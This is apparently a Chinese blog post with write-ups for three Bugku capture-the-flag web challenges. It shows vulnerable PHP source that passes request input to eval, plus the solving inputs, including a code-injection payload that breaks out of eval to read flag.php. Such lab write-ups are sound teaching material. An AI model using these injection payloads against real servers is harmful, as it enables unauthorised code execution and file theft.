bugku web题解

19.10.19

1.变量1

http://123.206.87.240:8004/index1.php

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

 

需要用get,并且args中不能包含特殊符号,即只能有大小写字母和数字

其次2个$符号,理解就是,比如我输入?args=abc那么  $args=abc,然后$$args=$abc,随后找变量名为abc的值。这是我自己尝试代码试出来的。可能有错误。

题目漏洞有两个,一个是eval()函数,括号内的代码是会被当成php代码来执行,

另一个是超全局变量$GLOBALS

所以最后输入?args=GLOBALS后能得出flag

 

2.本地包含

http://123.206.87.240:8003/

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>

eval漏洞和file()函数

输入?hello=file("flag.php")即可

也可以?hello=hel);var_dump(file("flag.php"));//

eval函数括号内的代码每个都必须要有分号。

 

 

3.头等舱

http://123.206.87.240:9009/hd.php

看题名让我想起了请求头,,,

然后到bp中试了下,,然后就出来了,,

 

 

posted @ 2019-10-19 18:45  为之。  阅读(157)  评论(0编辑  收藏  举报